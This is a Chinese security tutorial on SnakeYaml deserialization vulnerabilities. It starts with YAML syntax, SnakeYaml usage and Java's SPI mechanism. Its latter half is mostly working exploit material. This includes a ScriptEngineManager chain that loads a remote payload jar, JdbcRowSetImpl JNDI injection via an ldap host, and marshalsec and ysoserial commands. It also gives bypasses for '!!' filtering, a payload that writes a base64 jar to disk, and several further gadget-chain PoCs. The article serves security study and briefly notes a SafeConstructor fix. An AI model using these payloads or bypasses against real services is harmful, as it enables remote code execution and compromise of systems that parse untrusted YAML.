长亭百川云 - 文章详情

SnakeYaml反序列化漏洞

41group

76

2024-07-13

YAML 基本语法

YAML,YAML 是"YAML Ain’t a Markup Language"(YAML不是一种标记语言)的递归缩写, 是一个可读性高、用来表达数据序列化的格式,类似于XML但比XML更简洁。

YAML的语法和其他高级语言类似, 并且可以简单表达清单、散列表,标量等资料形态。它使用空白符号缩进和大量依赖外观的特色, 特别适合用来表达或编辑数据结构、各种配置文件、倾印调试内容、文件大纲(例如: 许多电子邮件标题格式和YAML非常接近).

格式

YAML 具体使用,首先YAML中允许表示三种格式,分别是:常量值、对象和数组。例如:

`# 即表示url属性值;``url: http://www.yiibai.com``   ``# 即表示server.host属性的值;``server:`    `host: http://www.yiibai.com``   ``# 数组,即表示server为[a,b,c]``server:`    `- 120.168.0.21`    `- 120.168.0.22`    `- 120.168.0.23``   ``# 常量``pi: 3.14   # 定义一个数值3.14``hasChild: true  # 定义一个boolean值``name: '你好YAML'   # 定义一个字符串`

注释

和properties文件格式相同,YAML使用#作为注释开始且只有行注释.

YAML基本格式要求:

  • 大小敏感.

  • 利用缩进来表示层级关系.

  • 缩进不能使用 TAB ,只能使用空格且对空格个数没有要求, 只需要相同层级左对齐即可(一般2个或4个空格).

对象

  • 对象使用冒号代表, 格式为 key: value , 需要注意在冒号后加上一个空格.

  • 可以使用缩进来表示层级关系.

`key:`    `demo1: val1`    `demo2: val2`
  • 较为复杂的对象格式, 可以使用问号加一个空格代表一个复杂的 key , 配合一个冒号加一个空格代表一个值value.

数组

  • 使用一个短横线加一个空格代表一个数组项.
`demo:`    `- val1`    `- val2``   ``或者``   ``-   ``    - val1`    `- val2 # [[val1, val2]]`
  • 相对复杂的写法, 表示是 companies 属性是一个数组, 每一个数组元素又是由id, name, price三个属性构成; 数组也可以使用流式(flow)的方式表示.
`companies:`    `-`        `id: 1`        `name: company1`        `price: 200W`    `-`        `id: 2`        `name: company2`        `price: 500W`

常量

  • YAML 中提供了多种常量结构, 包括: 整数, 浮点数, 字符串, NULL, 日期, 布尔, 时间.
`boolean: ``    - TRUE  #true,True都可以`    `- FALSE  #false,False都可以``   ``float:`    `- 3.14`    `- 6.8523015e+5  #可以使用科学计数法``   ``int:`    `- 123`    `- 0b1010_0111_0100_1010_1110    #二进制表示``   ``null:`    `nodeName: 'node'`    `parent: ~  #使用~表示null``   ``string:`    `- 哈哈`    `- 'Hello world'  #可以使用双引号或者单引号包裹特殊字符`    `- newline`      `newline2    #字符串可以拆成多行,每一行会被转化成一个空格``   ``date:`    `- 2018-07-17    #日期必须使用ISO 8601格式,即yyyy-MM-dd``   ``datetime: ``    -  2018-07-17T19:02:31+08:00    #时间使用ISO 8601格式,时间和日期之间使用T连接,最后使用+代表时区`

SnakeYaml 简介

Snakeyaml 包主要用来解析 yaml 格式的内容, yaml 语言比普通的 xml 与 properties 等配置文件的可读性更高,像是 Spring 系列就支持 yaml 的配置文件,而SnakeYaml是一个完整的YAML1.1规范Processor,支持UTF-8/UTF-16,支持Java对象的序列化/反序列化,支持所有YAML定义的类型。

Yaml语法参考:https://www.yiibai.com/yaml

Spring配置文件经常遇到。

推荐一个yml文件转yaml字符串的地址,网上部分POC是通过yml文件进行本地测试的,实战可能用到的更多的是yaml字符串。https://www.345tool.com/zh-hans/formatter/yaml-formatter

转换流程图

SnakeYaml 使用

环境搭建

在Maven项目中的pom.xml文件添加依赖:

`<dependency>`    `<groupId>org.yaml</groupId>`    `<artifactId>snakeyaml</artifactId>`    `<version>1.27</version>``</dependency>`

常用方法

`String    dump(Object data)``将Java对象序列化为YAML字符串.``   ``void    dump(Object data, Writer output)``将Java对象序列化为YAML流.``   ``String    dumpAll(Iterator<? extends Object> data)``将一系列Java对象序列化为YAML字符串.``   ``void    dumpAll(Iterator<? extends Object> data, Writer output)``将一系列Java对象序列化为YAML流.``   ``String    dumpAs(Object data, Tag rootTag, DumperOptions.FlowStyle flowStyle)``将Java对象序列化为YAML字符串.``   ``String    dumpAsMap(Object data)``将Java对象序列化为YAML字符串.``   ``<T> T    load(InputStream io)``解析流中唯一的YAML文档, 并生成相应的Java对象.``   ``<T> T    load(Reader io)``解析流中唯一的YAML文档, 并生成相应的Java对象.``   ``<T> T    load(String yaml)``解析字符串中唯一的YAML文档, 并生成相应的Java对象.``   ``Iterable<Object>    loadAll(InputStream yaml)``解析流中的所有YAML文档, 并生成相应的Java对象.``   ``Iterable<Object>    loadAll(Reader yaml)``解析字符串中的所有YAML文档, 并生成相应的Java对象.``   ``Iterable<Object>    loadAll(String yaml)``解析字符串中的所有YAML文档, 并生成相应的Java对象.`

序列化与反序列化

主要关注序列化与反序列化

SnakeYaml提供了Yaml.dump()和Yaml.load()两个函数对yaml格式的数据进行序列化和反序列化。

  • Yaml.load():入参是一个字符串或者一个文件,经过序列化之后返回一个Java对象;

  • Yaml.dump():将一个对象转化为yaml文件形式;

序列化

`package org.example;``   ``import org.yaml.snakeyaml.Yaml;``   ``class User {`    `public String name;``   `    `public void setName(String name) {`        `this.name = name;`    `}``   `    `public String getName() {`        `return name;`    `}``}``   ``public class App` `{`    `public static void main( String[] args )``{`        `User user = new User();`        `user.setName("xiaobei");`        `Yaml yaml = new Yaml();`        `String dump = yaml.dump(user);`        `System.out.println(dump);`    `}``}`

这里 !! 用于强制类型转化,!!org.example.User 是将该对象转为org.example.User 类, 如果没有 !! 则就是个 key 为字符串的 Map ,其实这个和Fastjson的@type有着异曲同工之妙,用于指定反序列化的全类名.

反序列化

再来一段反序列化代码,主要是在各个方法中都添加了print,来看一下反序列化时会触发这个类的哪些方法

User.java

`package org.example;``   ``public class User {``   `    `String name;`    `int age;``   `    `public User() {`        `System.out.println("User构造函数");`    `}``   `    `public String getName() {`        `System.out.println("User.getName");`        `return name;`    `}``   `    `public void setName(String name) {`        `System.out.println("User.setName");`        `this.name = name;`    `}``   `    `public String getAge() {`        `System.out.println("User.getAge");`        `return name;`    `}``   `    `public void setAge(String name) {`        `System.out.println("User.setAge");`        `this.name = name;`    `}``}`

App.java

`package org.example;``   ``import org.yaml.snakeyaml.Yaml;``   ``   ``public class App` `{`    `public static void main( String[] args )``{`        `Deserialize();`    `}``   `    `public static void Deserialize(){`        `String s = "!!org.example.User2 {name: xiaobei, age: 18}";`        `Yaml yaml = new Yaml();`        `User user = yaml.load(s);``   `    `}``}`

反序列化过程中会触发setXX方法和构造方法。注意:在反序列化时候必须确保被反序列化对象的类型修饰符为 public ,否则会反序列化爆异常。

Java SPI 机制

简介

Java SPI机制是Java提供的一套用来被第三方实现或者扩展的API,它可以用来启动框架扩展和替换组件。

常见的SPI有JDBC、Spring、Spring Boot相关starter组件、Dubbo、JNDI、日志接口等.

SPI全称Service Provider Interface,是Java提供的一套用来被第三方实现或者扩展的接口,它可以用来启用框架扩展和替换组件。SPI的作用就是为这些被扩展的API寻找服务实现。

  • API (Application Programming Interface)在大多数情况下,都是实现方制定接口并完成对接口的实现,调用方仅仅依赖接口调用,且无权选择不同实现。从使用人员上来说,API 直接被应用开发人员使用。

  • SPI (Service Provider Interface)是调用方来制定接口规范,提供给外部来实现,调用方在调用时则选择自己需要的外部实现。从使用人员上来说,SPI 被框架扩展人员使用。

也就是说,SPI是一种服务发现机制,它是通过在CLASSPATH路径下的META-INF/services文件夹查找文件,然后自动加载文件里所定义的类,相当于动态的为某个接口(API)寻找服务实现;也就是说,我们可以通过在META-INF/services下创建一个以服务接口命名的文件,这个文件里面的内容就是这个接口的具体实现类的完整类名,在加载这个接口的时候就会实例化这里面写上的那个类名。

使用介绍

  • 当服务提供者提供了接口的一种具体实现后, 在jar包的META-INF/services目录下创建一个以"包名 + 接口名"为命名的文件,内容为实现该接口的类的名称.

  • 接口实现类所在的jar包放在主程序的classpath中.

  • 主程序通过java.util.ServiceLoder动态装载实现模块,通过在META-INF/services目录下的配置文件找到实现类的类名,利用反射动态把类加载到JVM.

实现原理

程序会通过java.util.ServiceLoader动态装载实现模块,在META-INF/services目录下的配置文件中寻找实现类的类名,再通过Class.forName加载进来,再通过newInstance()来创建对象,并且存到缓存和列表里面。

DataSoure(服务接口)

`package MySPI;``   ``public interface DataSource {`    `void Driver();``}`

Mysql服务提供者

`package MySPI;``   ``public class Mysql implements DataSource{`    `@Override`    `public void Driver() {`        `System.out.println("This is Mysql DataSource");`    `}``}`

Oracle服务提供者

`package MySPI;``   ``public class Oracle implements DataSource{`    `@Override`    `public void Driver() {`        `System.out.println("This is Oracle DataSource");`    `}``}`

Mssql服务提供者

`package MySPI;``   ``public class Mssql implements DataSource{`    `@Override`    `public void Driver() {`        `System.out.println("This is Mssql DataSource");`    `}``}`

SPIUsage(模拟使用者)

`package MySPI;``   ``import java.util.Iterator;``import java.util.ServiceLoader;``   ``public class SPIUseage {`    `public static void main(String[] args) {`        `ServiceLoader<DataSource> load = ServiceLoader.load(DataSource.class);`        `Iterator<DataSource> iterator = load.iterator();`        `while(iterator.hasNext()){`            `iterator.next().Driver();`        `}`    `}``}`

服务列表文件

需要注意的是这里由于是Maven项目,故我们的META-INF以及serivces文件夹还有服务列表文件都是放到resources目录下。

测试使用

原理分析

跟进 ServiceLoad.load(Class service) 方法, 其先创建一个 ClassLoader ,接着继续调用 ServiceLoad.load(Class service, ClassLoader loader) .

接着创建一个 ServiceLoader 对象

在创建 ServiceLoader 对象时候会调用 reload 方法,在 reload 方法会创建一个 LazyIterator 的实例对象.

在 LazyIterator 对象中有两个参数,分别是:

  • service: 为要扫描的配置文件名.

  • loader: 为当前线程的 ClassLoader .

返回一个 LazyIterator 的实例,如其名字一样,这是一个延迟加载的迭代器,然后返回到主函数我们进行迭代。 

在遍历对象前我们会先通过hasNext方法判断是否存在  

跟入java.util.ServiceLoader.LazyIterator#hasNext方法  

这里的java.util.ServiceLoader#parse方法完成服务提供者的解析

可以看到实际上就是解析每行获得的服务提供者。

下面我们看一下实际调用时候的流程   

其实就是读取 META-INF/services/包名.接口名 文件,然后遍历文件中每一个实现了服务接口的服务提供者类名,通过反射创建实例对象,并存到服务提供者列表里面。流程下来我们知道了如果 load 可控加载恶意的接口实现类。然后控制 Jar 包中的 META-INF/services 目录中的SPI配置文件,我们就可以服务器通过SPI机制调用恶意类达到恶意代码执行的效果。

RCE Demo

如果服务提供者的接口中存在RCE,则我们跌倒调用的时候会导致RCE触发。

Snakeyaml的反序列化方式

无构造方法和setter方法

无构造方法和setter方法情况下snakeyaml将使用反射的方式自动赋值。

`package com.SnakeYamlSec;``   ``public class ModelA {``public int  a;``public int b;``}`

使用如下方法反序列化

`Yaml yaml = new Yaml();``ModelA a = (ModelA) yaml.load("!!com.SnakeYamlSec.ModelA {a: 5, b: 0}") ;``System.out.println(yaml.dump(a));`

将反序列化成功。

存在构造方法

`package com.SnakeYamlSec;``   ``public class ModelB {`    `public int a;`    `public int b;``   `    `public ModelB(int a,int b){`        `this.a = a;`        `this.b = b;`    `}``   ``}`

使用如下方式反序列化

`ModelB b = (ModelB) yaml.load("!!com.SnakeYamlSec.ModelB [5 , 0 ]") ;``System.out.println(yaml.dump(b));`

这里的[ ]是调用构造函数的一个标志,在构造函数中下断点,也能够成功调到。

需要注意 snakeyaml 反序列化时,如果类中的成员变量全为私有将会失败(调试得知)。

存在setter方法

`package com.SnakeYamlSec;``   ``public class ModelC {`    `public int a;``   `    `public void setInput(int a){`        `this.a = a;`    `}``   ``   ``}`
`ModelC c = (ModelC) yaml.load("!!com.zlg.SnakeYaml.ModelC {input : 5}") ;``System.out.println(yaml.dump(c));`

使用此方式在反序列化过程中会调用setter方法,其YAML写法和无构造函数的方式写法差不多,比如要调用setInput函数,把set去掉将后面单词全部小写后,后面值就是传入setInput的参数就可以调用,其实Java中很多组件中都会存在类似操作,即判断目标类的相关属性是否存在setter方法,如果存在优先考虑使用setter方法。

到此为止,意味着snakeyaml可以利用fastjson和Jackson的所有利用链(反之不一定行),并且还没有autotype的限制。

ScriptEngineManager反序列化利用

攻击复现

网上最多的一个PoC就是基于javax.script.ScriptEngineManager的利用链通过URLClassLoader实现的代码执行。Github上已经有现成的利用项目,可以更改好项目代码部署在web上即可。所以说SnakeYaml通常的一个利用条件是需要出网的。该项目中执行的命令在Windows下不适用,我们需要进行需改,比如加一段弹计算器的代码

编译打包

之后在该目录开一个web服务

更改poc

`!!javax.script.ScriptEngineManager [`  `!!java.net.URLClassLoader [[`    `!!java.net.URL ["http://127.0.0.1:8000/yaml-payload.jar"]`  `]]``]`

收到HTTP请求并成功弹出计算器

调试分析

YAML解析部分

下面调试分析一下整个流程,在yaml.load(s)处下断点

首先通过 StringReader 处理我们传入的字符串,PoC存储在StreamReader的this.stream字段值里。

上面主要是对输入的payload进行赋值与简单处理的操作,之后进入loadFromReader(new StreamReader(yaml), Object.class)方法中,该方法内逻辑如下

首先会对我们传入的payload进行处理,封装成Composer对象。

这里实际上还有一个细节点,那就是new ParserImpl的操作

这里注意 !! -> tag:yaml.org,2002: 后续也会对我们传入的 payload 进行字符串替换的操作。

之后调用BaseConstructor#setComposer()方法,对Composer进行赋值,最终进入BaseConstructor#getSingleData(type)方法内,跟进后会调用this.composer.getSingleNode()方法对我们传入的payload进行处理,会把!!变成tagxx一类的标识

这个在浅蓝师傅的文章中也有提到过,对于一些yaml常用的set map等类型都是一个tag,属于是在过滤掉 !! 的情况下可以通过这种 tag 形式去进行Bypass,详细的思路可参考浅蓝师傅的文章。

`public static final String PREFIX = "tag:yaml.org,2002:";``public static final Tag YAML = new Tag("tag:yaml.org,2002:yaml");``public static final Tag MERGE = new Tag("tag:yaml.org,2002:merge");``public static final Tag SET = new Tag("tag:yaml.org,2002:set");``public static final Tag PAIRS = new Tag("tag:yaml.org,2002:pairs");``public static final Tag OMAP = new Tag("tag:yaml.org,2002:omap");``public static final Tag BINARY = new Tag("tag:yaml.org,2002:binary");``public static final Tag INT = new Tag("tag:yaml.org,2002:int");``public static final Tag FLOAT = new Tag("tag:yaml.org,2002:float");``public static final Tag TIMESTAMP = new Tag("tag:yaml.org,2002:timestamp");``public static final Tag BOOL = new Tag("tag:yaml.org,2002:bool");``public static final Tag NULL = new Tag("tag:yaml.org,2002:null");``public static final Tag STR = new Tag("tag:yaml.org,2002:str");``public static final Tag SEQ = new Tag("tag:yaml.org,2002:seq");``public static final Tag MAP = new Tag("tag:yaml.org,2002:map");`

而 tag 具体的替换以及整个payload重新组合的逻辑在ParserImpl#parseNode()方法中。

继续回到 loadFromReader 跟进到constructor.getSingleData

具体的处理逻辑比较复杂,调试起来也比较费劲,而且它是一位一位进行处理,所以说这里我就把具体的处理过程跳过了,简单放张截图

然后调用 constructDocument ,跟进 constructDocument , 会调用constructObject来获取一个Object对象

跟进该方法, 进一步调用 constructObjectNoCheck .

跟进 constructObjectNoCheck 方法.

接着跟进construct.construct方法

这里会调用 this.getConstructor

这里getConstructor方法所做的事情就是获取类的构造方法

跟进去发现继续调用 getClassForNode ,在该方法中获取了name的值为javax.script.ScriptEngineManager,然后调用getClassForName对name进行传入获取cl的class对象

跟进 getClassForName , 在这里使用反射创建了一个javax.script.ScriptEngineManager对象的具体实现.

接着回到上面的 construct 处继续分析

这里调用完 getContructor 方法后将调用该返回对象的 construct 方法,继续跟进

该 constructor 方法逻辑如上图所示,注意这里 Constructor.this.newInstance 方法调用

远程恶意对象创建

在 newInstance 方法中会获取 node 的类型(这里就是我们自定义类型),然后通过反射获取该类的构造方法,然后设置访问权限并提供构造方法创建实例对象,底层使用的是Java反射机制,这里直接看反射调用的方法public javax.script.ScriptEngineManager(java.lang.ClassLoader)

这里调用了return getServiceLoader(loader);,接着就是ServiceLoader.load(),对我们自定义的服务(SPI)加载器进行初始化,可以看到这部分就是SPI机制的实现

这时候我们再看Github下载的Payload项目,可以发现这个项目实际上就是一个实现了ScriptEngineFactory接口的服务提供者,前面分析过,在next方法的时候会解析服务列表文件并创建服务提供者对象实例

回到javax.script.ScriptEngineManager#initEngines方法继续分析,在前面SPI机制中我们分析知道了在next的时候会进行反射加载服务提供者,我们只需要在此处下断即可

最后有一个细节点那就是真正发起请求这个Payload Jar的操作实际上是在java.util.ServiceLoader.LazyIterator#hasNextService方法中的parse(service, configs.nextElement());调用中进行的,此时的loader是一个UrlClassLoader,前面分析SPI机制流程的时候有说明在parse方法中才会进行服务列表文件的读取解析,也就是发生请求的地方

总结

整个调试下来感觉有点类似于在调 Fastjson ,前面一小半的部分是在做一些payload的处理,涉及到一些变量,比如tag、node、type这些,以及SnakeYaml内部对于 !! 去转换为tag这类的操作,然后就是一些数据的流向,需要仔细观察;后半部分就是整个漏洞的一个触发,整体的一个思路就是先反射构造对象。

在构造时候会触发该类的 构造方法 、 set系列方法 ,所以,通常我们将 命令执行代码 写在构造函数内。

如果是利用ScriptEngineManager手法加载远程JAR的话流程就是分别获取ScriptEngineManager、URLClassLoader、URL的class对象,之后在construct方法内最终分别实例化了URL、URLClassLoader、ScriptEngineManager来造成远程代码执行。

漏洞修复

这个漏洞涉及全版本,只要反序列化内容可控,那么就可以去进行反序列化攻击

修复方案:加入new SafeConstructor()类进行过滤

`package Snake;``import org.yaml.snakeyaml.Yaml;``import org.yaml.snakeyaml.constructor.SafeConstructor;``public class snaketest {`    `public static void main(String[] args) {`        `String context = "!!javax.script.ScriptEngineManager [\n" +`                `"  !!java.net.URLClassLoader [[\n" +`                `"    !!java.net.URL [\"http://127.0.0.1:9000/yaml-payload.jar\"]\n" +`                `"  ]]\n" +`                `"]";`        `Yaml yaml = new Yaml(new SafeConstructor());`        `yaml.load(context);`    `}``}`

JdbcRowSetImpl

!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: 'ldap://127.0.0.1:9999/Evil', autoCommit: true}

JNDI注入

首先本地生成恶意字节码并监听生成远程恶意类地址

使用marshalsec创建ldap服务引用远程恶意类

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8000/#calc 9999

POC

`package com.yamlAttack;``   ``import org.yaml.snakeyaml.Yaml;``   ``public class SnakeYamlGadgets``{`    `public static void main( String[] args )``{`        `Yaml yaml=new Yaml();`        `yaml.load("!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: 'ldap://127.0.0.1:9999/Evil', autoCommit: true}");`    `}``}`

原理分析

这条反序列化链的原理和Fastjson中的JdbcRowSetImpl链基本上一模一样,都是因为反序列化还原会调用对象setter方法,这里反序列化调用setAutoCommit方法进而执行connect操作接着实现JNDI注入。

绕过!!被过滤

使用等价字符替换

`!<tag:yaml.org,2002:javax.script.ScriptEngineManager> [`    `!!java.net.URLClassLoader [[`        `!!java.net.URL ["http://127.0.0.1:8000/yaml-payload.jar"]`    `]]``]`
`import org.yaml.snakeyaml.Yaml;``   ``public class ByPass {`    `public static void main(String[] args) {`        `Yaml yaml=new Yaml();`        `String payload="!<tag:yaml.org,2002:javax.script.ScriptEngineManager> [\n" +`                `"  !!java.net.URLClassLoader [[\n" +`                `"    !!java.net.URL [\"http://127.0.0.1:8000/yaml-payload.jar\"]\n" +`                `"  ]]\n" +`                `"]";`        `yaml.load(payload);`    `}``}`

自定义Tag前缀

`%TAG !      tag:yaml.org,2002:``---``!javax.script.ScriptEngineManager [`    `!!java.net.URLClassLoader [[`        `!!java.net.URL ["http://127.0.0.1:8000/yaml-payload.jar"]`    `]]``]``// 记得不要漏了---`
`import org.yaml.snakeyaml.Yaml;``   ``public class ByPass {`    `public static void main(String[] args) {`        `Yaml yaml=new Yaml();`        `// 定义!代表tag:yaml.org,2002:`        `String payload="%TAG !      tag:yaml.org,2002:\n"+`                `"---\n"+`                `"!javax.script.ScriptEngineManager [\n" +`                `"  !!java.net.URLClassLoader [[\n" +`                `"    !!java.net.URL [\"http://127.0.0.1:8000/yaml-payload.jar\"]\n" +`                `"  ]]\n" +`                `"]";`        `yaml.load(payload);`    `}``}`

参考

https://yaml.org/spec/1.1/#id858600

不出网情况

C3P0链

Fastjson中可以用C3P0.WrapperConnectionPoolDataSource对HEX序列化字节码进而实现本地调用,snakeyaml同理。

`// CommonsCollections5为反序列化链,具体情况视目标环境而定``java -jar ysoserial-0.0.5.jar CommonsCollections5 "calc" > 1.txt`

将字节码文件转为16进制,传入payload中,即可进行恶意字节码加载

`!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource``userOverridesAsString: 'HexAsciiSerializedMap:16进制数据;'`

POC

`public class SnakeYaml {`    `public static void main(String[] args) {`        `String payload = "!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\n" +`                `"userOverridesAsString: 'HexAsciiSerializedMap:16进制数据;'";`        `Yaml yaml = new Yaml();`        `yaml.load(payload);`    `}``}`

本地写入Jar实现加载Payload

其实snakeyaml和fastjson基本上差不多,只是序列化数据表现形式存在区别,不过相关特性高度相似,所以fastjson中大部分利用链都可以转化为snakeyaml形式

`{`  `"@type": "java.lang.AutoCloseable",`  `"@type": "sun.rmi.server.MarshalOutputStream",`  `"out": {`    `"@type": "java.util.zip.InflaterOutputStream",`    `"out": {`      `"@type": "java.io.FileOutputStream",`      `"file": "dst",`      `"append": "false"`    `},`    `"infl": {`      `"input": "eJwL8nUyNDJSyCxWyEgtSgUAHKUENw=="`    `},`    `"bufLen": 1048576`  `},`  `"protocolVersion": 1``}`

Payload

!!sun.rmi.server.MarshalOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File ["filePath"],false],!!java.util.zip.Inflater  { input: !!binary base64 },1048576]]

filepath是写入路径,base64是我们要写入文件的base64编码

`package snakeYaml;``   ``import org.yaml.snakeyaml.Yaml;``   ``public class SnakeYaml {`    `public static void main(String[] args) {`        `String payload = "!!sun.rmi.server.MarshalOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File [\"./yaml-payload.jar\"],false],!!java.util.zip.Inflater  { input: !!binary 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 },1048576]]\n";`        `Yaml yaml = new Yaml();`        `yaml.load(payload);`    `}``}`

写入本地之后就可以通过ScriptEngineManager方式进行本地读取了

`public class SnakeYaml {`    `public static void main(String[] args) {`        `String payload = "!!javax.script.ScriptEngineManager [\n" +`                `"  !!java.net.URLClassLoader [[\n" +`                `"    !!java.net.URL [\"file:///yaml-payload.jar\"]\n" +`                `"  ]]\n" +`                `"]";`        `Yaml yaml = new Yaml();`        `yaml.load(payload);`    `}``}`

整体思路其实就是一套组合拳,核心利用链还是前面的ScriptEngineManager。

Other Gadgets

以下利用链来自于Sentiment师傅文章。

Spring PropertyPathFactoryBean

依赖

`<dependency>`    `<groupId>org.springframework</groupId>`    `<artifactId>spring-beans</artifactId>`    `<version>5.3.23</version>``</dependency>``<dependency>`    `<groupId>org.springframework</groupId>`    `<artifactId>spring-context</artifactId>`    `<version>5.3.23</version>``</dependency>`

POC

`public static void main(String[] args) throws Error ,Exception{`    `String poc = "!!javax.management.BadAttributeValueExpException [!!org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding [\"foo\",!!javax.naming.Reference [foo, \"Exec\", \"http://localhost:7777/\"],!!org.apache.xbean.naming.context.WritableContext []]]";`    `Yaml yaml = new Yaml();`    `yaml.load(poc);``}`

Apache Commons Configuration

依赖

`<dependency>`    `<groupId>commons-configuration</groupId>`    `<artifactId>commons-configuration</artifactId>`    `<version>1.10</version>``</dependency>`

POC

`public static void main(String[] args) throws Error ,Exception{`    `String poc = "\n" +`            `"    ? !!org.apache.commons.configuration.ConfigurationMap [!!org.apache.commons.configuration.JNDIConfiguration [!!javax.naming.InitialContext [], \"ldap://localhost:9999/Execs\"]]";`    `Yaml yaml = new Yaml();`    `yaml.load(poc);``}`

C3P0 JndiRefForwardingDataSource

`public static void main(String[] args) throws Error ,Exception{`        `String poc = "!!com.mchange.v2.c3p0.JndiRefForwardingDataSource\n" +`            `"  jndiName: \"ldap://localhost:9999/Exec\"\n" +`            `"  loginTimeout: 0";`    `Yaml yaml = new Yaml();`    `yaml.load(poc);``}`

Resource

依赖

`<dependency>`    `<groupId>org.eclipse.jetty</groupId>`    `<artifactId>jetty-jndi</artifactId>`    `<version>9.4.8.v20171121</version>``</dependency>``<dependency>`    `<groupId>org.eclipse.jetty</groupId>`    `<artifactId>jetty-plus</artifactId>`    `<version>9.4.8.v20171121</version>``</dependency>``<dependency>`    `<groupId>org.eclipse.jetty</groupId>`    `<artifactId>jetty-util</artifactId>`    `<version>9.4.8.v20171121</version>``</dependency>`

POC

`public static void main(String[] args) throws Error ,Exception{`    `String poc = "[!!org.eclipse.jetty.plus.jndi.Resource [\"__/obj\", !!javax.naming.Reference [\"foo\", \"Exec\", \"http://localhost:7777/\"]], !!org.eclipse.jetty.plus.jndi.Resource [\"obj/test\", !!java.lang.Object []]]\n";`    `Yaml yaml = new Yaml();`    `yaml.load(poc);``}`

其它可能切入点

`Context接口子类``DataSource接口子类``javax.naming.spi.ObjectFactory子类``   ``com.sun.jndi.ldap.LdapReferralContext#LdapReferralContext``com.sun.jndi.ldap.LdapCtx#LdapCtx(java.lang.String, java.lang.String, int, java.util.Hashtable<?,?>, boolean)``javax.naming.ldap.InitialLdapContext#InitialLdapContext(java.util.Hashtable<?,?>, javax.naming.ldap.Control[])``com.sun.jndi.cosnaming.CNCtx#CNCtx(java.util.Hashtable<?,?>)``com.sun.jndi.rmi.registry.RegistryContext#RegistryContext(java.lang.String, int, java.util.Hashtable<?,?>)`

参考

总结使用SnakeYAML解析与序列化YAML相关__小鱼塘的博客-CSDN博客_snakeyaml用法

Java安全之SnakeYaml反序列化分析 - nice_0e3 - 博客园

Java SnakeYaml反序列化漏洞 | s1mple

Java SnakeYaml反序列化学习 - R0ser1 - 博客园

Java常用机制 - SPI机制详解 | Java 全栈知识体系

Java安全之SnakeYaml反序列化分析 - 跳跳糖

Java SnakeYaml反序列化 · BlBana's BlackHouse

SnakeYaml反序列化及不出网利用

Java安全之SnakeYaml反序列化分析

Java-SnakeYaml反序列化漏洞

